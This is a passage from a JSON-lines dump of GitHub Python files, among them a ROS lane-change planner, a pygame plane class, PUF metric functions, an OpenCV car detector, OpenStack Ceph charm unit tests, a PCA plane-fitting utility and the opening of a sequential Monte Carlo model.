outputs:\n cohort_min = output[0] if output[0] < cohort_min else cohort_min\n cohort_max = output[1] if output[1] > cohort_max else cohort_max\n with open(Path.cwd() / f\"{flags['FEATURE']}_stats.csv\", 'w') as fid:\n fid.write(f\"{cohort_min}, {cohort_max}\")\n\n # Create pdf for each wsi\n if p is None:\n p = Pool(5)\n p.map(_create_pdf, zip(wsi_list, repeat(flags['FEATURE']), repeat(flags['N_BINS']), repeat(cohort_min), repeat(cohort_max)))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gwinkelmaier/GBM-biomarkers","sub_path":"feature-extraction/src/feature-pdf.py","file_name":"feature-pdf.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1223072461","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os, sys\nimport rospy\nimport rospkg\nimport tf\nfrom math import cos,sin,pi,sqrt,pow,atan2\nimport numpy as np\nfrom geometry_msgs.msg import Point32,PoseStamped\nfrom nav_msgs.msg import Odometry,Path\nfrom morai_msgs.msg import ObjectStatus, ObjectStatusList, EgoVehicleStatus\n\n# lane_change 는 차량의 차선변경 예제입니다.\n# 차량 경로상의 장애물을 탐색하여 경로 상에 장애물이 있다면 차선 변경으로 회피 기동을 합니다.\n# lane_change_1 예제와 차이점은 차선 변경 시 단순히 목표 차선을 바꾸는 것이 아닌\n# 시작차선과 목표 차선 사이 경로를 그려 자연스러운 차선변경이 가능 하도록 경로를 만듭니다.\n# 해당 예제에서는 차선 변경 시작 점과 끝점 사이를 3차곡선 으로 연결하여 차량이 주행 할 경로를 만듭니다.\n\n# 노드 실행 순서 \n# 0. 필수 학습 지식\n# 1. subscriber, publisher 선언\n# 2. 두개의 차선 경로 의 텍스트파일을 읽기 모드로 열기\n# 3. 읽어 온 경로 데이터를 Global Path 변수에 넣기\n# 4. 주행 경로상의 장애물 유무 확인\n# 5. 장애물이 있다면 주행 경로를 변경 하도록 로직 작성.\n# 6. 좌표 변환 행렬 생성\n# 7. 3차 곡선을 이용한 주행 경로 생성\n# 8. ros path 메시지 형식 경로 데이터 생성\n# 9. 경로 데이터 Publish\n\n#TODO: (0) 필수 학습 지식\n'''\n# 고도화된 차선변경 알고리즘을 만들기 위해서는 여러 상황을 고려해야합니다.\n# 주행중인 차선의 전 후방 차량, 차선 변��� 목표 차선의 전 후방 차량 고려 중인 차량의 속도와 가속도 진행 방향 등 많은 요소를 고려합니다.\n# 이번 예제에서는 고도화 된 차선 변경 알고리즘이 아닌 장애물의 위치를 탐색하여 주행 경로 상 장애물이 있으면\n# 충돌을 회피하기 위한 판단과 차선 변경 경로 생성 방법에 관한 예제 입니다.\n'''\nclass lc_path_pub :\n def __init__(self):\n rospy.init_node('lc_path_pub', anonymous=True)\n\n #TODO: ros Launch File Tag \n arg = rospy.myargv(argv=sys.argv)\n object_topic_name = arg[1]\n\n #TODO: (1) subscriber, publisher 선언\n rospy.Subscriber(object_topic_name, ObjectStatusList, self.object_info_callback)\n rospy.Subscriber(\"/odom\", Odometry, self.odom_callback )\n self.global_path_pub = rospy.Publisher(\"/global_path\", Path, queue_size=10)\n self.local_path_pub = rospy.Publisher(\"/lane_change_path\", Path, queue_size=10)\n\n self.lc_1=Path()\n self.lc_1.header.frame_id='/map'\n self.lc_2=Path()\n self.lc_2.header.frame_id='/map'\n\n #TODO: (2) 두개의 차선 경로 의 텍스트파일을 읽기 모드로 열기\n rospack=rospkg.RosPack()\n pkg_path=rospack.get_path('ssafy_3')\n\n lc_1 = pkg_path + '/path' + '/lc_1.txt'\n self.f=open(lc_1,'r')\n\n lines = self.f.readlines()\n for line in lines:\n tmp = line.split()\n read_pose = PoseStamped()\n read_pose.pose.position.x = float(tmp[0])\n read_pose.pose.position.y = float(tmp[1])\n read_pose.pose.orientation.w = 1\n self.lc_1.poses.append(read_pose)\n\n self.f.close()\n\n lc_2 = pkg_path + '/path' + '/lc_2.txt'\n self.f=open(lc_2,'r')\n\n lines = self.f.readlines()\n for line in lines:\n tmp = line.split()\n read_pose2 = PoseStamped()\n read_pose2.pose.position.x = float(tmp[0])\n read_pose2.pose.position.y = float(tmp[1])\n read_pose2.pose.orientation.w = 1\n self.lc_2.poses.append(read_pose2)\n\n self.f.close()\n\n self.is_object_info = False\n self.is_odom = False\n\n self.local_path_size = 50\n \n self.lane_change = False \n self.current_lane = 1\n\n #TODO: (3) 읽어 온 경로 데이터를 Global Path 로 지정\n global_path = self.lc_1\n\n rate = rospy.Rate(10) # 10hz\n while not rospy.is_shutdown():\n if self.is_object_info == True and self.is_odom == True:\n\n result = self.calc_vaild_obj([self.x,self.y,self.vehicle_yaw],self.object_data) \n global_npc_info = result[0] \n local_npc_info = result[1] \n\n self.local_path_make(global_path)\n\n currnet_waypoint = self.get_current_waypoint(self.x,self.y,global_path)\n\n global_path = self.lc_planning(global_npc_info,local_npc_info,currnet_waypoint,global_path)\n\n #TODO: (9) 경로 데이터 Publish\n self.local_path_pub.publish(self.local_path_msg)\n self.global_path_pub.publish(global_path)\n\n rate.sleep()\n\n def odom_callback(self,msg):\n self.x = msg.pose.pose.position.x\n self.y = msg.pose.pose.position.y\n\n odom_quaternion=(msg.pose.pose.orientation.x,msg.pose.pose.orientation.y,msg.pose.pose.orientation.z,msg.pose.pose.orientation.w)\n\n _,_,self.vehicle_yaw=tf.transformations.euler_from_quaternion(odom_quaternion)\n\n self.is_odom = True\n\n def object_info_callback(self,data): ## Object information Subscriber\n self.is_object_info = True\n self.object_data = data \n \n def get_current_waypoint(self,x,y,global_path):\n min_dist = float('inf') \n currnet_waypoint = -1\n for i,pose in enumerate(global_path.poses):\n dx = x - pose.pose.position.x\n dy = y - pose.pose.position.y\n\n dist = sqrt(pow(dx,2)+pow(dy,2))\n if min_dist > dist :\n min_dist = dist\n currnet_waypoint = i\n return currnet_waypoint\n \n def local_path_make(self,global_path): \n self.local_path_msg=Path()\n self.local_path_msg.header.frame_id='/map'\n \n x=self.x\n y=self.y\n min_dis=float('inf')\n current_waypoint=-1\n for i,waypoint in enumerate(global_path.poses) :\n distance=sqrt(pow(x-waypoint.pose.position.x,2)+pow(y-waypoint.pose.position.y,2))\n if distance < min_dis :\n min_dis=distance\n current_waypoint=i\n \n if current_waypoint != -1 :\n if current_waypoint + self.local_path_size < len(global_path.poses):\n for num in range(current_waypoint,current_waypoint + self.local_path_size ) :\n tmp_pose=PoseStamped()\n tmp_pose.pose.position.x=global_path.poses[num].pose.position.x\n tmp_pose.pose.position.y=global_path.poses[num].pose.position.y\n tmp_pose.pose.orientation.w=1\n self.local_path_msg.poses.append(tmp_pose) \n else :\n for num in range(current_waypoint,len(global_path.poses) ) :\n tmp_pose=PoseStamped()\n tmp_pose.pose.position.x=global_path.poses[num].pose.position.x\n tmp_pose.pose.position.y=global_path.poses[num].pose.position.y\n tmp_pose.pose.orientation.w=1\n self.local_path_msg.poses.append(tmp_pose)\n\n\n def calc_vaild_obj(self,status_msg,object_data):\n \n self.all_object = object_data \n ego_pose_x = status_msg[0]\n ego_pose_y = status_msg[1]\n ego_heading = status_msg[2]\n \n global_npc_info = []\n local_npc_info = []\n\n num_of_object = self.all_object.num_of_npcs \n if num_of_object > 0:\n\n #translation\n tmp_theta=ego_heading\n tmp_translation=[ego_pose_x, ego_pose_y]\n tmp_t=np.array([[cos(tmp_theta), -sin(tmp_theta), tmp_translation[0]],\n [sin(tmp_theta), cos(tmp_theta), tmp_translation[1]],\n [0 , 0, 1]])\n tmp_det_t=np.array([[tmp_t[0][0], tmp_t[1][0], -(tmp_t[0][0] * tmp_translation[0] + tmp_t[1][0]*tmp_translation[1])],\n [tmp_t[0][1], tmp_t[1][1], -(tmp_t[0][1] * tmp_translation[0] + tmp_t[1][1]*tmp_translation[1])],\n [0,0,1]])\n\n #npc vehicle ranslation \n for npc_list in self.all_object.npc_list:\n global_result=np.array([[npc_list.position.x],[npc_list.position.y],[1]])\n local_result=tmp_det_t.dot(global_result)\n if local_result[0][0]> 0 : \n global_npc_info.append([npc_list.type,npc_list.position.x,npc_list.position.y,npc_list.velocity.x])\n local_npc_info.append([npc_list.type,local_result[0][0],local_result[1][0],npc_list.velocity.x]) \n\n return global_npc_info, local_npc_info\n\n def lc_planning(self,global_obj,local_obj,currnet_waypoint,global_path):\n\n #TODO: (5) 장애물이 있다면 주행 경로를 변경 하도록 로직 작성\n lane_change_distance = 30 * 2 # (point-to-point distance 0.5m)\n\n if self.lane_change == True:\n if currnet_waypoint + self.local_path_size > len(global_path.poses):\n self.lane_change = False\n if self.current_lane == 1:\n global_path = self.lc_1\n elif self.current_lane == 2:\n global_path = self.lc_2\n else:\n self.check_object(self.local_path_msg,global_obj,local_obj)\n \n if self.object[0] == True:\n if self.current_lane != 1:\n self.current_lane = 1\n start_point = self.lc_2.poses[currnet_waypoint] \n end_waypoint_idx = self.get_current_waypoint(self.lc_1.poses[currnet_waypoint+lane_change_distance].pose.position.x,self.lc_1.poses[currnet_waypoint+lane_change_distance].pose.position.y,self.lc_1)\n end_point = self.lc_1.poses[end_waypoint_idx]\n start_next_point = self.lc_2.poses[currnet_waypoint+5] \n global_path = self.getLaneChangePath(self.lc_2,self.lc_1,start_point,end_point,start_next_point, end_waypoint_idx)\n self.lane_change = True\n self.object=[False,0]\n else:\n self.current_lane = 2\n start_point = self.lc_1.poses[currnet_waypoint] \n end_waypoint_idx = self.get_current_waypoint(self.lc_2.poses[currnet_waypoint+lane_change_distance].pose.position.x,self.lc_2.poses[currnet_waypoint+lane_change_distance].pose.position.y,self.lc_2)\n end_point = self.lc_2.poses[end_waypoint_idx]\n start_next_point = self.lc_1.poses[currnet_waypoint+5] \n global_path = self.getLaneChangePath(self.lc_1,self.lc_2,start_point,end_point,start_next_point, end_waypoint_idx)\n self.lane_change = True\n self.object=[False,0]\n\n return global_path\n\n def check_object(self,ref_path,global_vaild_object,local_vaild_object):\n #TODO: (4) 주행 경로상의 장애물 유무 확인\n self.object=[False,0]\n if len(global_vaild_object) > 0 :\n min_rel_distance = float('inf')\n for i in range(len(global_vaild_object)):\n for path in ref_path.poses : \n if global_vaild_object[i][0]==1 or global_vaild_object[i][0]==2 : \n dis = sqrt(pow(global_vaild_object[i][1] - path.pose.position.x, 2) + pow(global_vaild_object[i][2]- path.pose.position.y, 2))\n if dis<2.5:\n rel_distance= sqrt(pow(local_vaild_object[i][1], 2) + pow(local_vaild_object[i][2], 2)) \n if rel_distance < min_rel_distance:\n min_rel_distance = rel_distance\n self.object=[True,i]\n\n def getLaneChangePath(self,ego_path,lc_path,start_point,end_point,start_next_point, end_waypoint_idx): ## \n out_path=Path() \n out_path.header.frame_id='/map'\n\n #TODO: (6) 좌표 변환 행렬 생성\n translation = [start_point.pose.position.x, start_point.pose.position.y]\n theta = atan2(start_next_point.pose.position.y-start_point.pose.position.y, start_next_point.pose.position.x-start_point.pose.position.x)\n\n trans_matrix = np.array([ [cos(theta), -sin(theta), translation[0]],\n [sin(theta), cos(theta), translation[1]],\n [0, 0, 1] ])\n\n det_trans_matrix = np.linalg.inv(trans_matrix)\n\n world_end_point=np.array([[end_point.pose.position.x],[end_point.pose.position.y],[1]])\n local_end_point=det_trans_matrix.dot(world_end_point)\n\n waypoints_x=[]\n waypoints_y=[]\n x_interval = 0.5 # 생성할 Path 의 Point 간격을 0.5 로 한다.\n x_start = 1\n x_end=local_end_point[0][0]\n\n y_start = 0.0\n y_end = local_end_point[1][0]\n\n x_num = x_end/x_interval\n # End Point 까지의 길이를 Point 간 간격으로 나눠 필요한 Point 의 수를 계산한다.\n # 계산된 Point 의 숫자 만큼 X 좌표를 생성한다.\n for i in range(x_start,int(x_num)) : \n waypoints_x.append(i*x_interval)\n\n #TODO: (7) 3차 곡선을 이용한 주행 경로 생성\n a = 2*(y_end - y_start)/(x_start - x_end)**3\n b = (-3*(x_start + x_end)*(y_end - y_start)) / (x_start - x_end)**3\n c = (6*(y_end - y_start)*x_start*x_end)/(x_start - x_end)**3\n d = (y_start + x_start**2 * (y_end - y_start)*(x_start - 3*x_end)) / (x_start - x_end)**3\n\n for i in waypoints_x:\n # 3 차 방정식 수식을 작성한다. (f(x) = a*x^3 + b*x^2 + c*x + d)\n result = (a * (i**3)) + (b * (i**2)) + (c * i) + d \n waypoints_y.append(result)\n\n\n #TODO: (8) ros path 메시지 형식 경로 데이터 생성\n for i in range(0,len(waypoints_y)) :\n local_result = np.array([[waypoints_x[i]],[waypoints_y[i]],[1]])\n global_result = trans_matrix.dot(local_result)\n\n read_pose=PoseStamped()\n read_pose.pose.position.x = global_result[0][0]\n read_pose.pose.position.y = global_result[1][0]\n\n read_pose.pose.position.z = 0.0\n read_pose.pose.orientation.x = 0\n read_pose.pose.orientation.y = 0\n read_pose.pose.orientation.z = 0\n read_pose.pose.orientation.w = 1\n out_path.poses.append(read_pose)\n \n # 직선 거리 추가\n # 차선 변경 직 후 바로 목표 차선으로의 경로 변경이 아닌 안전정인 주행을 위해서 \n # 변경 이후 직선 경로를 일부 추가해 준다.\n for k in range(end_waypoint_idx,end_waypoint_idx+40):\n read_pose=PoseStamped()\n read_pose.pose.position.x = lc_path.poses[k].pose.position.x\n read_pose.pose.position.y = lc_path.poses[k].pose.position.y\n read_pose.pose.position.z = 0\n read_pose.pose.orientation.x = 0\n read_pose.pose.orientation.y = 0\n read_pose.pose.orientation.z = 0\n read_pose.pose.orientation.w = 1\n out_path.poses.append(read_pose)\n\n return out_path\n\nif __name__ == '__main__':\n try:\n test_track=lc_path_pub()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"sfdjsh/PJT_nopark","sub_path":"src/control/scripts/highway_lane_change_3.py","file_name":"highway_lane_change_3.py","file_ext":"py","file_size_in_byte":15637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"912867043","text":"import math as mt\n\nclass plane:\n def __init__(self, x, y, speed, angle, img, name):\n self.x = x\n self.y = y\n self.speed = speed\n self.angle = angle\n self.img = img\n self.base_img = img\n self.w = self.img.get_width()\n self.h = self.img.get_height()\n self.name = name\n\n def draw(self, display, x, y):\n display.blit(self.img, (x, y))\n\n def move(self, game_space, display_size):\n speedX = self.speed * mt.cos(self.angle)\n speedY = self.speed * mt.sin(self.angle)\n\n self.x = display_size[0]/2 if self.x > game_space['w'] -display_size[0]/2 else self.x\n self.x = game_space['w'] - display_size[0]/2 if self.x < display_size[0]/2 else self.x\n self.y = display_size[1]/2 if self.y > game_space['h']-display_size[1]/2 else self.y\n self.y = game_space['h'] -display_size[1]/2 if self.y < display_size[1]/2 else self.y\n\n self.x += speedX\n self.y += speedY\n\n def rotation(self, pg, mouse_pos, display_size):\n b = abs(mouse_pos[0] - 250)\n a = abs(mouse_pos[1] - 250)\n mouse_angle = mt.atan(a/b) if b != 0 else 0\n\n if mouse_pos[0] < display_size[0] / 2:\n if mouse_pos[1] >= display_size[1] / 2:\n mouse_angle = mt.pi - mouse_angle\n else:\n mouse_angle = mt.pi + mouse_angle\n elif mouse_pos[1] < display_size[1] / 2:\n mouse_angle = 2*mt.pi - mouse_angle\n\n if a == 0:\n return mouse_angle, self.angle, a, b\n\n #противоположный самолету угол\n alt_angle = self.angle + mt.pi\n if alt_angle > 2*mt.pi:\n alt_angle -= 2*mt.pi\n\n #определяем направление поворота самолета\n if self.angle < mouse_angle - 0.175 or self.angle > mouse_angle + 0.175:\n if self.angle < mt.pi:\n if mouse_angle > self.angle and mouse_angle < alt_angle:\n self.angle += 0.0175\n else:\n self.angle -= 0.0175\n else:\n if mouse_angle < self.angle and mouse_angle > alt_angle:\n self.angle -= 0.0175\n else:\n self.angle += 0.0175\n\n\n if self.angle > 2*mt.pi:\n self.angle = 0\n if self.angle < 0:\n self.angle = 2*mt.pi\n\n self.img = pg.transform.rotate(self.base_img, -self.angle*180/mt.pi)\n return mouse_angle, self.angle, a, b\n\n\n\n","repo_name":"SmilyDev/RedBaron","sub_path":"plane.py","file_name":"plane.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38874469931","text":"\n\nimport numpy as np\n\n\ndef Uniqueness(ResponsesMatrix ,NBits ,NFiles):\n\n UniquenessValue = 0\n for i in range(NFiles):\n for j in range( i +1 ,NFiles):\n UniquenessValue += ((ResponsesMatrix[i] != ResponsesMatrix[j]).sum() ) *(100.0 /NBits)\n\n return UniquenessValue\n\n\ndef Uniformity(ResponsesMatrix ,NBits ,NFiles):\n\n UniformityMatrix = []\n for i in range(NFiles):\n UniformityMatrix.append(np.sum(ResponsesMatrix[i] ) *(100.0 /NBits))\n return UniformityMatrix\n\n\ndef BitAliasing(ResponsesMatrix, NFiles):\n\n BitAliasdingMatrix = np.sum(ResponsesMatrix, axis=0 ) *(100.0 /NFiles)\n return BitAliasdingMatrix\n\ndef Reliability(ResponsesMatrix, NBits ,NFiles):\n HD_Intra = 0\n for j in range(1 ,NFiles):\n HD_Intra += (sum([(ResponsesMatrix[0][b ] ^ResponsesMatrix[j][b]) for b in range(NBits)] ) *(100.0 /NBits))\n ReliabilityValue = 100 - (HD_Intra /NFiles)\n return ReliabilityValue\n","repo_name":"ECCO-Lab/CRPs-Based-Analysis","sub_path":"views/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12899778736","text":"# The objective of this program is to detect object of interest, in this case cars, in video\n# frames and keep tracking the same object in each frame. The trained XML classifier 'cars.xml'\n# contains many possible features of a car that can be detected in the frame. To exit out of the\n# display window before the video ends, press 'ESC'.\n\nimport cv2\nimport numpy as np\n\n# Create VideoCapture object to capture frames from video.\n# Replace with integers to corresponding camera.\ncap = cv2.VideoCapture('test_pics/raw/test1.jpg')\n\n# Load trained XML classifier to detect cars\ncar_cascade = cv2.CascadeClassifier('resources/cars.xml')\n\n# Check if video opened successfully\nif (cap.isOpened() == False):\n print(\"Error opening video stream\")\n\n# Loop runs until video is over or key is pressed\nwhile(cap.isOpened()):\n # Capture every readable frame\n ret, frame = cap.read()\n\n if ret == True:\n\n # Convert each frame to gray scale\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Detect cars of different size in the frame\n detect_car = car_cascade.detectMultiScale(gray, 1.1, 1)\n\n # Draw rectangle on each detected car in frame\n for(x, y, w, h) in detect_car:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n # Display frame in window\n cv2.imshow('Car Detection', cv2.resize(frame, (700, 400)))\n\n # Break out of while loop if 'ESC' is pressed\n if cv2.waitKey(1) == 27:\n break\n\n # Break the loop\n else:\n break\n\n# Releases VideoCapture object memory when program is finished\ncap.release()\n\n# De-allocate any associated memory usage\ncv2.destroyAllWindows()","repo_name":"oasysokubo/lane-finding-car-detection","sub_path":"tests/car_detection/car_detection.py","file_name":"car_detection.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39883010022","text":"import mock\nimport os\nimport subprocess\n\nfrom unit_tests.charms_openstack.charm.utils import BaseOpenStackCharmTest\n\nimport charms_openstack.charm.classes as chm\nimport charms_openstack.plugins.classes as cpl\n\nTEST_CONFIG = {'config': True,\n 'openstack-origin': None}\n\n\nclass FakeOpenStackCephConsumingCharm(\n chm.OpenStackCharm,\n cpl.BaseOpenStackCephCharm):\n abstract_class = True\n\n\nclass TestOpenStackCephConsumingCharm(BaseOpenStackCharmTest):\n\n def setUp(self):\n super(TestOpenStackCephConsumingCharm, self).setUp(\n FakeOpenStackCephConsumingCharm, TEST_CONFIG)\n\n def test_application_name(self):\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='svc1')\n self.assertEqual(self.target.application_name, 'svc1')\n\n def test_ceph_service_name(self):\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='charmname')\n self.assertEqual(\n self.target.ceph_service_name,\n 'charmname')\n self.target.ceph_service_name_override = 'override'\n self.assertEqual(\n self.target.ceph_service_name,\n 'override')\n\n def test_ceph_key_name(self):\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='charmname')\n self.assertEqual(\n self.target.ceph_key_name,\n 'client.charmname')\n self.patch_object(cpl.socket, 'gethostname', return_value='hostname')\n self.target.ceph_key_per_unit_name = True\n self.assertEqual(\n self.target.ceph_key_name,\n 'client.charmname.hostname')\n\n def test_ceph_keyring_path(self):\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='charmname')\n self.assertEqual(\n self.target.ceph_keyring_path,\n '/etc/ceph')\n self.target.snaps = ['gnocchi']\n self.assertEqual(\n self.target.ceph_keyring_path,\n os.path.join(cpl.SNAP_PATH_PREFIX_FORMAT.format('gnocchi'),\n '/etc/ceph'))\n\n def test_configure_ceph_keyring(self):\n self.patch_object(cpl.os.path, 'isdir', return_value=False)\n self.patch_object(cpl.ch_core.host, 'mkdir')\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='sarepta')\n self.patch_object(cpl.subprocess, 'check_call')\n self.patch_object(cpl.shutil, 'chown')\n interface = mock.MagicMock()\n interface.key = 'KEY'\n self.assertEqual(self.target.configure_ceph_keyring(interface),\n '/etc/ceph/ceph.client.sarepta.keyring')\n self.isdir.assert_called_with('/etc/ceph')\n self.mkdir.assert_called_with('/etc/ceph',\n owner='root', group='root', perms=0o750)\n self.check_call.assert_called_with([\n 'ceph-authtool',\n '/etc/ceph/ceph.client.sarepta.keyring',\n '--create-keyring', '--name=client.sarepta', '--add-key', 'KEY',\n '--mode', '0600',\n ])\n self.target.user = 'ceph'\n self.target.group = 'ceph'\n self.target.configure_ceph_keyring(interface)\n self.chown.assert_called_with(\n '/etc/ceph/ceph.client.sarepta.keyring',\n user='ceph', group='ceph')\n\n self.patch_object(cpl.os, 'chmod')\n self.check_call.side_effect = [\n subprocess.CalledProcessError(42, [], ''), None]\n with self.assertRaises(subprocess.CalledProcessError):\n self.target.configure_ceph_keyring(interface)\n self.check_call.reset_mock()\n self.check_call.side_effect = [\n subprocess.CalledProcessError(1, [], ''), None]\n self.target.configure_ceph_keyring(interface)\n self.check_call.assert_has_calls([\n mock.call([\n 'ceph-authtool',\n '/etc/ceph/ceph.client.sarepta.keyring',\n '--create-keyring', '--name=client.sarepta', '--add-key',\n 'KEY', '--mode', '0600']),\n mock.call([\n 'ceph-authtool',\n '/etc/ceph/ceph.client.sarepta.keyring',\n '--create-keyring', '--name=client.sarepta', '--add-key',\n 'KEY']),\n ])\n self.chmod.assert_called_with('/etc/ceph/ceph.client.sarepta.keyring',\n 0o600)\n\n\nclass TestCephCharm(BaseOpenStackCharmTest):\n\n def setUp(self):\n super(TestCephCharm, self).setUp(cpl.CephCharm, {'source': None})\n\n def test_ceph_keyring_path(self):\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='charmname')\n self.assertEqual(\n self.target.ceph_keyring_path,\n '/var/lib/ceph/charmname')\n self.target.snaps = ['gnocchi']\n self.assertEqual(\n self.target.ceph_keyring_path,\n os.path.join(cpl.SNAP_PATH_PREFIX_FORMAT.format('gnocchi'),\n '/var/lib/ceph/charmname'))\n\n def test_configure_ceph_keyring(self):\n self.patch_object(cpl.os.path, 'isdir', return_value=False)\n self.patch_object(cpl.ch_core.host, 'mkdir')\n self.patch_object(cpl.ch_core.hookenv, 'application_name',\n return_value='sarepta')\n self.patch_object(cpl.subprocess, 'check_call')\n self.patch_object(cpl.shutil, 'chown')\n self.patch_object(cpl.os, 'symlink')\n interface = mock.MagicMock()\n interface.key = 'KEY'\n self.patch_object(cpl.os.path, 'exists', return_value=True)\n self.patch_object(cpl.os, 'readlink')\n self.patch_object(cpl.os, 'remove')\n self.readlink.side_effect = OSError\n self.target.configure_ceph_keyring(interface)\n self.isdir.assert_called_with('/var/lib/ceph/sarepta')\n self.mkdir.assert_called_with('/var/lib/ceph/sarepta',\n owner='root', group='root', perms=0o750)\n self.check_call.assert_called_with([\n 'ceph-authtool',\n '/var/lib/ceph/sarepta/ceph.client.sarepta.keyring',\n '--create-keyring', '--name=client.sarepta', '--add-key', 'KEY',\n '--mode', '0600',\n ])\n self.exists.assert_called_with(\n '/etc/ceph/ceph.client.sarepta.keyring')\n self.readlink.assert_called_with(\n '/etc/ceph/ceph.client.sarepta.keyring')\n assert not self.remove.called\n self.symlink.assert_called_with(\n '/var/lib/ceph/sarepta/ceph.client.sarepta.keyring',\n '/etc/ceph/ceph.client.sarepta.keyring')\n self.readlink.side_effect = None\n self.readlink.return_value = '/some/where/else'\n self.target.configure_ceph_keyring(interface)\n self.remove.assert_called_with('/etc/ceph/ceph.client.sarepta.keyring')\n\n def test_install(self):\n self.patch_object(cpl.subprocess, 'check_output', return_value=b'\\n')\n self.patch_target('configure_source')\n self.target.install()\n self.target.configure_source.assert_called()\n self.check_output.assert_called()\n","repo_name":"rgrullon/charms.openstack","sub_path":"unit_tests/charms_openstack/plugins/test_classes.py","file_name":"test_classes.py","file_ext":"py","file_size_in_byte":7297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"73351250436","text":"import numpy as np\nfrom scipy.stats import multivariate_normal\nfrom scipy.spatial import Delaunay\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nx = np.random.uniform(-5,5,2000)\ny = np.random.uniform(-5,5,2000)\npos = np.empty(x.shape + (2,))\npos[:, 0] = x.T\npos[:, 1] = y.T\nrv = multivariate_normal([0.0, 0.0], [[1.0, 0.0], [0.0, 1.1]])\nz = -rv.pdf(pos)\n\nfig = plt.figure()\ntri = Delaunay(np.array([x,y]).T)\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x, y, z)\nax.plot_trisurf(x, y, z, triangles=tri.simplices, cmap=plt.cm.Spectral)\nplt.show()\n\ndef PCA(data, correlation = False, sort = True):\n \"\"\" Applies Principal Component Analysis to the data\n \n Parameters\n ---------- \n data: array\n The array containing the data. The array must have NxM dimensions, where each\n of the N rows represents a different individual record and each of the M columns\n represents a different variable recorded for that individual record.\n array([\n [V11, ... , V1m],\n ...,\n [Vn1, ... , Vnm]])\n \n correlation(Optional) : bool\n Set the type of matrix to be computed (see Notes):\n If True compute the correlation matrix.\n If False(Default) compute the covariance matrix. \n \n sort(Optional) : bool\n Set the order that the eigenvalues/vectors will have\n If True(Default) they will be sorted (from higher value to less).\n If False they won't. \n Returns\n -------\n eigenvalues: (1,M) array\n The eigenvalues of the corresponding matrix.\n \n eigenvector: (M,M) array\n The eigenvectors of the corresponding matrix.\n \n Notes\n -----\n The correlation matrix is a better choice when there are different magnitudes\n representing the M variables. Use covariance matrix in other cases.\n \n \"\"\"\n \n mean = np.mean(data, axis=0)\n \n data_adjust = data - mean\n \n #: the data is transposed due to np.cov/corrcoef syntax\n if correlation:\n \n matrix = np.corrcoef(data_adjust.T)\n \n else:\n matrix = np.cov(data_adjust.T) \n \n eigenvalues, eigenvectors = np.linalg.eig(matrix)\n \n if sort:\n #: sort eigenvalues and eigenvectors\n sort = eigenvalues.argsort()[::-1]\n eigenvalues = eigenvalues[sort]\n eigenvectors = eigenvectors[:,sort]\n \n return eigenvalues, eigenvectors\n \ndef best_fitting_plane(points, equation=True):\n \"\"\" Computes the best fitting plane of the given points\n \n Parameters\n ---------- \n points: array\n The x,y,z coordinates corresponding to the points from which we want\n to define the best fitting plane. Expected format:\n array([\n [x1,y1,z1],\n ...,\n [xn,yn,zn]])\n \n equation(Optional) : bool\n Set the oputput plane format:\n If True return the a,b,c,d coefficients of the plane.\n If False(Default) return 1 Point and 1 Normal vector. \n Returns\n -------\n a, b, c, d : float\n The coefficients solving the plane equation.\n \n or\n \n point, normal: array\n The plane defined by 1 Point and 1 Normal vector. With format:\n array([Px,Py,Pz]), array([Nx,Ny,Nz])\n \n \"\"\"\n \n w, v = PCA(points)\n \n #: the normal of the plane is the last eigenvector\n normal = v[:,2]\n \n #: get a point from the plane\n point = np.mean(points, axis=0)\n \n \n if equation:\n a, b, c = normal\n d = -(np.dot(normal, point))\n return a, b, c, d\n \n else:\n return point, normal\n \n","repo_name":"eragasa/pyflamestk","sub_path":"dev/dev_local_surface_fitting/curve_fitting_2d.py","file_name":"curve_fitting_2d.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"36777175979","text":"##### Model with constant volatility with C++ and python\n\n#Libraries\nimport numpy as np\nimport sys\nsys.path.append('../../utils/')\nsys.path.append('../../lib_c/')\nfrom cstvol_forward import smc_c\nimport get_mapping\nimport useful_functions\nfrom scipy.stats import uniform \nfrom scipy.stats import beta as betalib\nfrom scipy.stats import norm as normlib\nfrom scipy.stats import gamma as gammalib \nimport time\nimport numpy\nimport pickle\nfrom scipy.misc import logsumexp\nimport warnings\ntry:\n import mcerp\nexcept:\n warnings.warn('failed to import latin hypercube sampling library')\n\ndef SMC2(td, beta_softmax=1., numberOfStateSamples=200, numberOfThetaSamples=200, numberOfBetaSamples=20, coefficient = .5, latin_hyp_sampling=True):\n\n print('\\n')\n print('Forward Constant Volatility Model')\n print('number of theta samples ' + str(numberOfThetaSamples)); print('\\n')\n\n #Start timer\n start_time_multi = time.time()\n\n # uniform distribution\n if latin_hyp_sampling:\n d0 = uniform()\n print('latin hypercube sampling')\n else:\n print('sobolev sampling') \n\n # Extract parameters from task description\n stimuli = td['S'] # Sequence of Stimuli\n numberOfActions = td['action_num'] # Number of Actions possible\n numberOfStimuli = td['state_num'] # 